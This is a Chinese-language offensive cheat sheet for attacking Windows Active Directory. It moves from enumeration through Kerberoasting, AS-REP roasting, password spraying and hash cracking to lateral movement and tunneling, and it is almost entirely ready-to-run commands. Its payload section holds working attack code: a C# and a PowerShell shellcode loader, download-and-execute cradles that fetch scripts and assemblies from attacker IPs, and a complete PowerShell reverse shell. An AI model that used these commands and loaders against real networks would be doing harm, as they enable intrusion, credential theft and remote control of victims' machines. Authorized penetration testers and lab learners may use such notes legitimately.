血缇之书

信息收集-枚举

前枚举

域名解析

nxc

nxc smb ip --generate-hosts-file hostname

也可以生成krb5.conf

nxc smb $ip --generate-krb5-file krb5.conf

删除原conf

sudo rm /etc/krb5.conf

替换

sudo mv krb5.conf /etc/krb5.conf

同步时间

sudo ntpdate dc
并停止自动更改
sudo service virtualbox-guest-utils stop

或者在域机器执行

Get-Date

本机修改

sudo timedatectl set-ntp off
sudo date -s "2025-06-12 04:02:28"

端口详细扫

nmap -p 88,389,445,139,135 -sC -sV --min-rate=10000 -Pn dc01

域sid

nxc

nxc ldap $ip -u $user -p $pass -k --get-sid

impacket

如果ntlm禁用了,我们能通过kerbores认证通过getPac查询管理员的时候顺带查询域sid

impacket-getPac -targetUser administrator $domain/$user:$pass

powershell本地

Get-ADDomain | fl DomainSID

powerview

Get-DomainSid

ftp匿名连接

ftp <ip>
使用账号密码anonymous

NFS相关

查找匿名共享

showmount -e $ip

查询smb共享

nxc

用户密码

nxc smb $ip_or_$c段 -u $user -p $pass --shares
之后直接连接
smbclient //$ip/forensic -U "$user%$pass"
或者直接挂载
sudo mount -t cifs //$ip/forensic /mnt -o username=$user,password=$pass
取消挂载
sudo umount /挂载点路径

匿名

nxc smb "$ip" -u guest -p '' --shares
还有
nxc smb "$ip" -u wackyamaker -p '' --shares
之后smbclient链接
smbclient //目标IP/共享名 -U '匿名用户%空密码'
或者
smbclient //10.10.11.174/IPC$ -N
也可以直接挂载
mount -t cifs //10.10.10.192/profiles$ /mnt
取消挂载
sudo umount /挂载点路径

无域名使用本地用户认证,只要加上-d . 即可

nxc smb $ip -d . -u $user -p $pass

ntlmhash

#枚举使用nxc即可
连接smbclient使用如下面命令
smbclient -U $user --pw-nt-hash //$ip/$dic $ntlm

smbmap

用户密码

smbmap -H $ip -u $user -p $pass
连接还是用smbclient

匿名

smbmap -H $ip -u 'guest' -p ''

禁用ntlm认证的特殊情况(impacket包)

禁用ntlm认证后我们会使用不了smbmap,nxc等工具,但是impacket包可以使用Kerberos认证

impacket-smbclient -k $domain/$user:$pass@$FQDN -dc-ip $ip

rpc相关

用户密码连接

rpcclient -U "$user%$pass" $ip

匿名连接

rpcclient -U "" -N $ip

进入后执行命令

enumdomusers 列出用户
queryuser <rid> 列出用户相关信息
querydispinfo 获取所有用户较少信息

无预认证票据烘焙攻击(AS-REP Roasting)

先用impacket包查找

for users in $(cat users); do impacket-GetNPUsers -no-pass -dc-ip $ip $domain/$users 2>/dev/null | grep krb5asrep; done
or
impacket-GetNPUsers -usersfile users $domain/ -dc-ip $ip

之后爆破

hashcat -m 18200 svc.asrep.hash /usr/share/wordlists/rockyou.txt --force

服务票据烘培攻击(Service Ticket Roasting or Kerberoasting)

impacket包远程

先查找

impacket-GetUserSPNs $domain/$user:$pass -dc-host $FQDN -dc-ip $ip -request

如果存在无预认证账户,也可以直接利用无预认证hash进行spn枚举,这里举例为jjones用户

impacket-GetUserSPNs -no-preauth jjones -usersfile users -dc-host $ip $domain/

如果存在hash,直接提取爆破

hashcat hash /usr/share/wordlists/rockyou.txt --force

powershell本地

https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1

本地执行

powershell -c import-module c:\programdata\invoke-kerberoast.ps1; invoke-kerberoast -outputformat hashcat

之后复制其中的hash离线保存爆破

hashcat -m 13100 hashes.kerbi /usr/share/wordlists/rockyou.txt --force

时钟烘焙攻击(Timeroasting)

使用前提

1. 目标必须是计算机账户,不能直接针对普通用户账户(除非做“目标Timeroasting”修改属性)。
2. 目标域控制器开启并响应带有 Microsoft SNTP 扩展认证(MS-SNTP)的 NTP 服务,UDP 123端口开放。
3. 攻击者能向 DC 发送未认证的 MS-SNTP 请求(无需有效凭证)。
4. 能枚举域内计算机账户的 RID(相对标识符)。
5. (可选)针对“目标Timeroasting”,需要域管理员权限,临时修改用户账户属性使其被当作计算机账户处理。
6. 域中计算机账户密码未被强力保护(例如弱密码或未定期更换)。

使用工具以及命令

工具
https://github.com/SecuraBV/Timeroast
命令
python timeroast.py $ip 

猎犬提取

nxc

用户密码

nxc ldap "$ip" -u "$user" -p "$pass" --bloodhound --collection All --dns-server "$ip"

传递hash

nxc ldap "$ip" -u "$user" -H "$hash" --bloodhound --collection All --dns-server "$ip"

rusthound

密码

rusthound -d $domain -u $user@$domain -p $pass -f $FQDN -i $ip --fqdn-resolver --adcs -z -o ./

kerbores认证

export KRB5CCNAME="/tmp/jeor.mormont.ccache"
rusthound -d $domain -u $user@$domain -p $pass -f $FQDN -k -i $ip --fqdn-resolver --adcs -z -o ./ 

ldap被禁用的情况下能使用ldaps加密连接

rusthound -d $domain -u $user1@$domain -p $pass1 -f $FQDN -i $ip --fqdn-resolver --adcs -z -o ./ --ldapport 636

bloodhound-python

bloodhound-python -d $domain -c ALL -u $user -p $pass -ns $ip --zip

ldap查询

ldapdomaindump抓取所有ldap信息生成可视化图表

用户凭证

ldapdomaindump -u $domain\\$user -p $pass $ip -o ldap/

ldapsearch

匿名获取信息

获取域根目录
ldapsearch -H ldap://$ip -x -s base namingcontexts
获取域全部信息
ldapsearch -H ldap://$ip -x -b "DC=cascade,DC=local" > ldap-anonymous
单独获取域用户信息
ldapsearch -H ldap://$ip -x -b "DC=cascade,DC=local" '(objectClass=person)' > ldap-people

linux相关

落地保护枚举

查主机信息(av)

(new-object system.net.webclient).downloadstring('http://192.168.119.120/HostRecon.ps1') | IEX
Invoke-HostRecon

查powershell语言模式-clm检测

$ExecutionContext.SessionState.LanguageMode

查las保护

Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"
这个更直观一点
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa"

查applocker策略

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

查防火墙策略

powershell.exe -Command "Get-NetFirewallRule -PolicyStore ActiveStore | Where-Object { $_.Action -eq 'Block' }"

后枚举

运行进程查询

powershell

get-process

如果使用winrm登陆查找到explorer,可以尝试打session relyhahs

一个丑陋但是高效的确定是否存在某程序的定时运行,也就是类似linux中的pspy,但是只能针对指定程序,这里指定Bginfo64.exe

FOR /L %i IN (0,1,1000) DO (
  tasklist /FI "imagename eq Bginfo64.exe" | findstr /v "No tasks" &
  ping -n 2 127.0.0.1 > NUL
)

查看机器当前登陆会话

qwinsta /server:127.0.0.1

如果我们是通过winrm交互的,使用不了上面的命令,因为我们是session0非交互,可以用runas绕过

.\RunasCs.exe x x  -l 9 "qwinsta"

如果存在登陆会话,有两种攻击思路,一种是打跨会话中继(在横向模块),一种是如果目标不停登陆可写启动脚本的话修改目标启动脚本(后渗透模块)

不使用fscan的网段枚举存活机器

cmd

(for /L %a IN (1,1,254) DO ping /n 1 /w 1 172.16.2.%a) | find "Reply"

powershell

$liveHosts = @()
1..254 | ForEach-Object {
    $ip = "172.16.2.$_"
    if (Test-Connection -Quiet -Count 1 $ip) {
        $liveHosts += $ip
        Write-Host "[+] Alive: $ip" -ForegroundColor Green
    }
}
$liveHosts

枚举当前dc

nltest /dsgetdc:$env:USERDOMAIN

查询域管理员

powerview

Get-DomainGroupMember -Identity "Administrators" -Domain corp2.com

枚举组策略

Get-GPO -All | Select-Object DisplayName

windows查看监听端口

netstat -ano | findstr /i "listening"
或者
netstat -ano | findstr LISTEN

查询 .NET Framework net版本

reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP" /s /v Version

查看保存凭证

cmdkey /list

powershell历史记录

(Get-PSReadlineOption).HistorySavePath

查spn(需要管理权限)

Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName |
Select-Object SamAccountName, ServicePrincipalName

acl或者用户属性详细枚举

目标可写枚举

bloodyad远程

bloodyAD --host $FQDN --dc-ip $ip -d $domain -u $user -p $pass get writable --detail

powerview本地

#查找当前用户高危权限,就包含可写
Find-InterestingDomainAcl -ResolveGUIDs

用户属性详细枚举

powerview 远程powerview也可

Get-DomainUser -Identity $查询_user -Properties *

nxc

netexec ldap $ip -u $user -p $pass --query "(sAMAccountName=$查询_user)" ""

枚举本机可写目录

上传accesschk64

.\accesschk64 /accepteula -uwds $domain\$user C:\Windows

委派

hash

impacket-findDelegation $domain/$user -dc-ip $ip -hashes :$hash

密码

impacket-findDelegation $domain/$user:$pass -dc-ip $ip

无约束委派

powerview

Get-DomainComputer -Unconstrained

nxc

nxc ldap $ip -u $user -p $pass --trusted-for-delegation

确定打印服务

dir \\cdc01\pipe\spoolss

约束委派

powerview

Get-DomainUser -TrustedToAuth

nxc

nxc ldap 192.168.117.70 -u Offsec -p lab --find-delegation
nxc ldap 192.168.146.130 -u WEB01$ -H "2a737d391120eb331dbe3d39573f0fdb" --find-delegation

基于资源委派(RBCD)

条件:对任意机器账户具有写入权限 powerview

Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Where-Object { $_.ActiveDirectoryRights -like '*GenericWrite*' }

域相关

域信任

nxc

nxc ldap 192.168.225.70 -u offsec -p lab -M enum_trusts --dns-server 192.168.225.70

powershell

[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().GetAllTrustRelationships()

林相关

林信任

powerview

Get-DomainTrustMapping

powershell

[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().GetAllTrustRelationships()

跨林相同用户

powerview

Get-DomainForeignGroupMember -Domain corp2.com

ADCS证书错误查询

certify

Certify.exe find /vulnerable

certipy-ad

用户密码

certipy find -u $user -p $pass -target $FQDN -dc-ip $ip -text -stdout -vulnerable

hash传递

certipy find -vulnerable -u $user -hashes :$hash -dc-ip $ip -stdout

kerbores

certipy find -target $FQDN -u $user@$domain -p $pass -k -vulnerable -stdout -dc-ip $ip

linux相关

网段枚举存活主机

icmp

for i in {1..255};do(ping -c 1 172.16.1.$i|grep "bytes from"|cut -d' ' -f4|tr -d ':' &);done
or
sudo nmap -sn 10.10.110.0/24

arp

arp

nmap确认存活主机

nmap -PE -PS22,80,443 -PA3389 -PP 10.10.110.0/24
#-PE发送 ICMP Echo Request(ping)包探测主机是否在线。
#-PS22,80,443发送 TCP SYN 包到端口 22(SSH)、80(HTTP)、443(HTTPS)探测主机是否在线。
#-PA3389发送 TCP ACK 包到端口 3389(远程桌面服务),用来探测是否有防火墙规则允许响应。
#-PP发送 ICMP Timestamp Request(时间戳请求)包,另一种探测主机的 ICMP 包。

爆破及喷洒

用户密码类爆破及喷洒

nxc密码喷洒

加上这个参数,否则第一个匹配成功就会结束

--continue-on-success
例如
nxc smb $ip -u users -p $pass1 --no-bruteforce

加上这个参数,会利用密码和用户名交叉喷洒尝试所有可能

--continue-on-success

winrm密码喷洒 nxc

nxc winrm 192.168.1.0/24 -u userfile -p passwordfile --continue-on-success

dc存活用户枚举

kerbrute爆破

kerbrute userenum --dc $ip -d $domain /opt/user.txt
-v:详细输出
-t:指定线程最高10

nxc_rid爆破(需要smb凭证,匿名也可)

默认4000循环

nxc smb $ip -u guest -p '' --rid-brute

可提升

nxc smb $ip -u guest -p '' --rid-brute 10000

nxc枚举用户(需要凭证)

有凭证

nxc ldap $ip -u $user -p $pass --users

如果以上nxc普通域用户无法枚举则是权限不够,可以通过创建机器用户并用机器用户枚举成功

#查询可创建机器用户数量
nxc ldap $ip -u $user -p '$pass' -M maq
#创建机器用户
addcomputer.py -computer-name wacky$ -computer-pass 'wa2ky!wa2ky!' -dc-host $FQDN -dc-ip $ip $domain_without_com/$user:$pass

匿名用户

impacket-lookupsid -no-pass guest@$FQDN 20000

impacket包lookupsid枚举

impacket-lookupsid $user:$pass@$ip

ntlm_v2_hash爆破

获取v2 hash举例如下

Administrator::WIN-487IMQOIA8E:997b18cc61099ba2:3CC46296B0CCFC7A231D918AE1DAE521:0101000000000000B09B51939BA6D40140C54ED46AD58E890000000002000E004E004F004D00410054004300480001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D0042003100320008003000300000000000000000000000003000004289286EDA193B087E214F3E16E2BE88FEC5D9FF73197456C9A6861FF5B5D3330000000000000000

保存为文件并且爆破

hashcat -m 5600 administrator-ntlmv2 /usr/share/wordlists/rockyou.txt  --force

数据类型爆破

hashcat对照表

https://hashcat.net/wiki/doku.php?id=example_hashes

ansible密钥爆破

首先将密钥恢复至如下格式

$ANSIBLE_VAULT;1.1;AES256
633038313035343032663564623737313935613133633130383761663365366662326264616536303437333035366235613437373733316635313530326639330a643034623530623439616136363563346462373361643564383830346234623235313163336231353831346562636632666539383333343238343230333633350a6466643965656330373334316261633065313363363266653164306135663764

利用ansible2john转换格式

ansible2john hash.txt > hash

删去转换完hash前面的文件名 只保留如下格式

$ansible$0*0*c08105402f5db77195a13c1087af3e6fb2bdae60473056b5a477731f51502f93*dfd9eec07341bac0e13c62fe1d0a5f7d*d04b50b49aa665c4db73ad5d8804b4b2511c3b15814ebcf2fe98334284203635

利用hashcat爆破

hashcat hash /usr/share/wordlists/rockyou.txt

爆破完毕后得到的密码,用于解密原先的hash.txt

cat hash.txt | ansible-vault decrypt

自动要求密码,输入之前解密完毕的密码即可提取密文

kdbx数据爆破

john配合hashcat

keepass2john keepass.kdbx > keepass.hash
之后
hashcat -m 13400 -a 0 -w 1 keepass.hash dic2.txt --force

keepass4brute

keepass4brute.sh recovery.kdbx
之后
keepassxc-cli export -f csv recovery.kdbx > output.csv

pfx证书爆破

利用john提取hash

pfx2john.py file.pfx | tee file.hash

去除头部文件名,交给hashcat或者john爆破

hashcat file.hash /usr/share/wordlists/rockyou.txt

用爆破出的密码解密,会提示我们输入新密码,不要改新密码继续用原来的

openssl pkcs12 -in file.pfx -nocerts -out file.key-enc

利用解密出来的证书和原证书生成私钥和证书

openssl rsa -in file.key-enc -out file.key
openssl pkcs12 -in file.pfx -clcerts -nokeys -out file.crt

cert.key爆破

也可以正对key直接爆破

pem2john cert.key | tee hash

删去hash部分中的$pbkdf 2$sha256$aes256_cbc,才能hashcat爆破

hashcat hash rockyou.txt 

之后可以利用key和cert创建pfx证书

openssl pkcs12 -export -inkey cert.key -in cert.crt -out cert.pfx

zip压缩包爆破

zip压缩包格式很多,解密出来的hash格式需要去hashcat对照表修改进行爆破,但是简单来说只要把文件名删去即可

首先是john转换hash

zip2john file.zip > file.hash

将hash中的文件名部分删去,前面后面都得删,才能符合hashcat格式

之后直接跑hashcat

hashcat file.hash /usr/share/wordlists/rockyou.txt

爆出来直接解密即可

当然也可以不删文件名,直接利用john处理生成的hash文件

john  --wordlist=/usr/share/wordlists/rockyou.txt file.hash 

putty数据爆破

提取hash

putty2john private.ppk > private.ppk.john

爆破

john  --wordlist=/usr/share/wordlists/rockyou.txt private.ppk.john

无文件落地载荷以及常用载荷

winrm横向

本地powershell

Enter-PSSession -ComputerName <机器名> -Authentication Kerberos

远程evil-winrm

hash

evil-winrm -i $ip -u $user -H $ntlm

密码

evil-winrm -i $ip -u $user -p $pass

证书

evil-winrm -i $domain -S -k <私钥> -c <公钥>
例如
evil-winrm -i timelapse.htb -S -k legacyy_dev_auth.key -c legacyy_dev_auth.crt

远程evil-winrm-py

相比起evil-winrm额外具备加载我们本地ps1脚本的能力,但是不具备bbypass amsi

hash

evil-winrm-py -i $ip -u $user -H $ntlm

密码

evil-winrm-py -i $ip -u $user -p $pass

证书

evil-winrm-py -i $domain -S -k <私钥> -c <公钥>
例如
evil-winrm-py -i timelapse.htb -S -k legacyy_dev_auth.key -c legacyy_dev_auth.crt

Impacket 工具集中用于远程命令执行的脚本

工具 机制 权限要求 上传文件 交互式 Shell 隐蔽性 稳定性 适用环境
psexec.py 创建服务 可创建服务的目标
smbexec.py 服务或计划任务 共享服务开启
wmiexec.py WMI 调用 半(伪交互) 中等 开启 RPC/WMI 的目标

‘./administrator’其中的./表示本地管理员

psexec使用

域内用户使用

impacket-psexec "$domain/$user:$pass@$ip"

使用hash

impacket-psexec "$domain/$user@$ip" -hashes $hashes -no-pass

使用票据

impacket-psexec "$domain/$user@$ip" -k -no-pass

本地计算机用户

impacket-psexec '.\$user':$pass@$ip

使用hash

impacket-psexec '.\$user'@$ip -hashes $hashes -no-pass

使用票据

impacket-psexec '.\$user'@$ip -k -no-pass

smbexec使用

域内用户使用

impacket-smbexec "$domain/$user:$pass@$ip"

使用hash

impacket-smbexec "$domain/$user@$ip" -hashes $hashes -no-pass

使用票据

impacket-smbexec "$domain/$user@$ip" -k -no-pass

本地计算机用户

impacket-smbexec '.\$user':$pass@$ip"

使用hash

impacket-smbexec '.\$user'@$ip -hashes $hashes -no-pass

使用票据

impacket-smbexec '.\$user'@$ip -k -no-pass

wmiexec使用

域内用户使用

impacket-wmiexec "$domain/$user:$pass@$ip"

传递hash

impacket-wmiexec "$domain/$user@$ip" -hashes $hashes -no-pass

传递票据

impacket-wmiexec "$domain/$user@$ip" -k -no-pass

本地计算机用户

impacket-wmiexec '.\$user':$pass@$ip

传递hash

impacket-wmiexec '.\$user'@$ip -hashes $hashes -no-pass

传递票据

impacket-wmiexec '.\$user'@$ip -k -no-pass

dll反射

托管dll源码

using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;

namespace powershell_1
{
    public class Class1
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);



        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        public static void runner()
        {
            byte[] buf = new byte[810] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
///////////////////////////////////////////////////////////
0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5
};

            int size = buf.Length;

            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

            Marshal.Copy(buf, 0, addr, size);

            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
 
    }
}

投放器-powershell

$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.50.120/ClassLibrary1.dll')

$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)

powershell反射

ps1源码

function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].
      Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

function getDelegateType {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
        [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), 
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
      DefineDynamicModule('InMemoryModule', $false).
      DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', 
      [System.MulticastDelegate])
    $type.
      DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
        SetImplementationFlags('Runtime, Managed')
    $type.
      DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
        SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}

$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,///////////////////////////////////////////////////////////////////////////////8,0x85,0xf6,0x75,0xb4,0x41,0xff,0xe7,0x58,0x6a,0x0,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)

$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)

[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)

投放器-powershell

powershell (New-Object System.Net.WebClient).DownloadString('http://192.168.50.120/run.ps1') | IEX

powershell无文件加载

无文件加载ps1脚本

powershell -ExecutionPolicy Bypass -Command "(new-object net.webclient).downloadstring('http://10.10.16.20/shell.ps1') | IEX"

cmd /c powershell -ep Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.221/revershell.ps1')"

无文件加载.NET程序集工具(例如rubeurs.exe)

先下到内存

$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/Rubeus.exe')

开空间

$assem = [System.Reflection.Assembly]::Load($data)

执行参数

[Rubeus.Program]::Main("执行参数".Split())
例如
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:12343649cc8ce713962859a2934b8cbb /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())

如果想无参数执行

$entryPoint = $assem.EntryPoint
之后
$mainMethod.Invoke($null, @(, [string[]] @()))

revershell

powershell

$client = New-Object System.Net.Sockets.TCPClient('192.168.174.129', 7777)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | ForEach-Object { 0 }
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = [System.Text.Encoding]::ASCII.GetString($bytes, 0, $i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + "PS " + (Get-Location).Path + "> "
$sendbyte = [System.Text.Encoding]::ASCII.GetBytes($sendback2)
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()

常用webshell

aspx

带反弹shell功能的集成大马

https://github.com/jivoi/pentest/blob/master/shell/insomnia_shell.aspx

隧道搭建

灵活使用

流量转发(无服务端,只是单纯转发流量)

socat

当我们并不需要端口转发导致占用本地端口的时候,我们可以在一层内网做流量转发,让二层内网机器访问到kali,常配合用于hash钓鱼

https://github.com/3ndG4me/socat/releases/tag/v1.7.3.3

直接在想要转发流量的机器执行命令

./socat-lin64.bin TCP4-LISTEN:445,fork TCP4:$kali的ip:445

这里举例的是转发本地445流量到kali的445,注意无回显是正常运行

端口转发

chisel

反向

# Kali(公网服务器)作为服务端
./chisel server --port 8000 --reverse
# 边界主机(内网)作为客户端
./chisel client <KALI_IP>:8000 R:<KALI_PORT>:<TARGET_IP>:<TARGET_PORT>
#示例:转发内网 192.168.1.100:3389 到 Kali 的 8083 端口
./chisel client 10.10.14.5:8000 R:8083:192.168.1.100:3389

正向

# 边界主机(内网)作为服务端
./chisel server --port 8000
# Kali(公网服务器)作为客户端
./chisel client <BORDER_IP>:8000 <KALI_PORT>:<TARGET_IP>:<TARGET_PORT>
#示例:访问 Kali 的 8080 即访问内网 192.168.1.100:80
./chisel client 192.168.176.128:8000 8080:192.168.1.100:80

ssh

简单来说-L 流量中本地转发到远方,-R流量总远方转发到本地

本地转发(访问本机端口穿透到远程)

ssh -L <LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT> <USER>@<JUMP_HOST> -p <SSH_PORT>
#示例:通过跳板机访问内网 Web
ssh -L 8080:192.168.1.100:80 root@10.10.14.5 -p 22

远程转发(将内网服务暴露到公网)

ssh -R <REMOTE_PORT>:<LOCAL_IP>:<LOCAL_PORT> <USER>@<PUBLIC_SERVER> -p <SSH_PORT>
#示例:将内网 RDP 暴露到公网服务器 3389 端口
ssh -R 3389:127.0.0.1:3389 kali@10.10.14.5 -p 22

frp

服务端配置文件(frps.ini)

[common]
bind_port = 7000          # 服务端监听端口
dashboard_port = 7500     # 控制面板端口
dashboard_user = admin
dashboard_pwd = password
token = your_token_123    # 认证令牌

客户端配置文件()

[common]
server_addr = 10.10.14.5 # frps 公网 IP
server_port = 7000
token = your_token_123

# 转发内网 SSH 服务
[ssh]
type = tcp
local_ip = 192.168.1.100
local_port = 22
remote_port = 6000

# 转发内网 Web 服务
[web]
type = http
local_ip = 192.168.1.200
local_port = 80
custom_domains = app.example.com

启动命令

# 服务端(公网服务器)
./frps -c frps.ini
# 客户端(内网主机)
./frpc -c frpc.ini

msf

先上线动态路由

portfwd add -l $local_port -r $remote_ip -p $remote_port

socks

frp

frp虽然分客户端服务端,但本质是双向的,只需要有一边能访问到对面即可,能被访问的配置服务端

注意!配置文件分为ini,toml等规格,每个都不一样,我这里使用的是toml格式,只能说善用ai

服务端上传配置文件和服务端(frps以及frps.toml),配置内容如下

bindPort = 7000

客户端上传配置文件和客户端(frpc以及frpc.toml),配置内容如下

serverAddr = "10.10.110.100"
serverPort = 7000

[[proxies]]
name = "socks5"
type = "tcp"
remotePort = 6000 #远程端口
localPort = 1080 #本地端口
[proxies.plugin]
type = "socks5"

其中注释标出来的端口是互通的,走本地的代理就会默认以另外一方发出,只要用过一次就很好用了,还可以多端口代理转发,让ai写配置文件即可

chisel

正向

边界作为服务chisel.exe server -p 12345
kali作为客户./chisel client 192.168.61.129:12345 socks

反向

kali作为服务./chisel server -p 12345 --reverse
边界作为客户chisel.exe client 192.168.61.128:12345 R:socks

ssh

ssh -D <SOCKS_PORT> <USER>@<JUMP_HOST> -p <SSH_PORT>
#示例:在 1080 端口创建 SOCKS5 代理
ssh -D 1080 root@10.10.14.5 -p 22
#或者加上-Nf 不启动shell直接后台启动代理
ssh -Nf -D 1080 user@jump.host.com

mssql

如果目标防火墙严格禁止出站,而我们只具备mssql管理控制权限,则可以利用CLR 扩展实现socks5代理

先去这个地方获取核心dll并且编译,或者可以直接下载Releases当中的assembly.dll以及reciclador.dll,这两个dll都是需要的
https://github.com/blackarrowsec/mssqlproxy

首先我们需要将reciclador.dll这个核心dll上传到目标机器,这里可以利用ole或者其他什么方式都可以,但是要记住路径,例如下

C:\windows\temp\reciclador.dll

之后利用impacket包导入assembly.dll注册clr并且导向C:\windows\temp\reciclador.dll

impacket-mssqlclient $domain/$user:$pass@$ip -install -clr assembly.dll
impacket-mssqlclient $domain/$user:$pass@$ip -check -reciclador 'C:\windows\temp\reciclador.dll'

最终执行这个clr会在我们本地开1337端口进行socks5代理,直接利用proxychains添加即可使用

impacket-mssqlclient $domain/$user:$pass@$ip -start -reciclador 'C:\windows\temp\reciclador.dll'
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

mssqlproxy - Copyright 2020 BlackArrow
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: Español
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió el contexto de la base de datos a 'master'.
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió la configuración de idioma a Español.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[*] Proxy mode: check
[*] Assembly is installed
[*] Procedure is installed
[*] reciclador is installed
[*] clr enabled
[*] Proxy mode: start
[*] Triggering Proxy Via MSSQL, waiting for ACK
[*] ACK from server!
[*] Listening on port 1337...

reGeorg

https://github.com/sensepost/reGeorg

当我们只能通过 Webshell 与目标通信时,传统的端口转发和SOCKS方式无法使用,而 reGeorg 则可以通过 Web 通信信道(如 HTTP POST)在目标上建立一条代理隧道,从而访问其内网服务,无需目标开启其他端口或者说仅有上传权限并无运行权限进行内网信息收集

根据目标环境选择对应 Web 文件上传(payload 位置在 reGeorg/webshells/):

tunnel.jsp / tunnel.php / tunnel.aspx

启动客户端连接(Kali)

python3 reGeorgSocksProxy.py -u http://target.com/tunnel.jsp -p 1080
此时会启动一个 SOCKS5 代理在本地 1080 端口。

tun流量虚拟网卡(适合一级内网)

ligolo-ng虚拟网卡

如果只是想通过边界入侵一层内网,ligolo是最好的选择,我们可以抛弃繁杂的proxychains

ligolo的原理是搭建一条tun隧道,也就是建立一条虚拟网卡并指向指定路由,这种原理导致其十分稳定且好用,并且其只需要一个服务端就可以做到多个客户端连接并且切换使用路由的操作

前置操作-攻击机(kali)执行-创建虚拟网卡

sudo ip link del ligolo 2>/dev/null  # 清理旧接口(可选)
sudo ip tuntap add user $(whoami) mode tun ligolo  # 创建 TUN 设备
sudo ip link set ligolo up             # 启用接口
sudo ip route add 10.0.52.0/24 dev ligolo  # 添加路由规则.这里举例内网为10.0.52.0网段

启动代理服务端-攻击端kali执行

./proxy -laddr 0.0.0.0:9001 -selfcert  # 监听 9001 端口

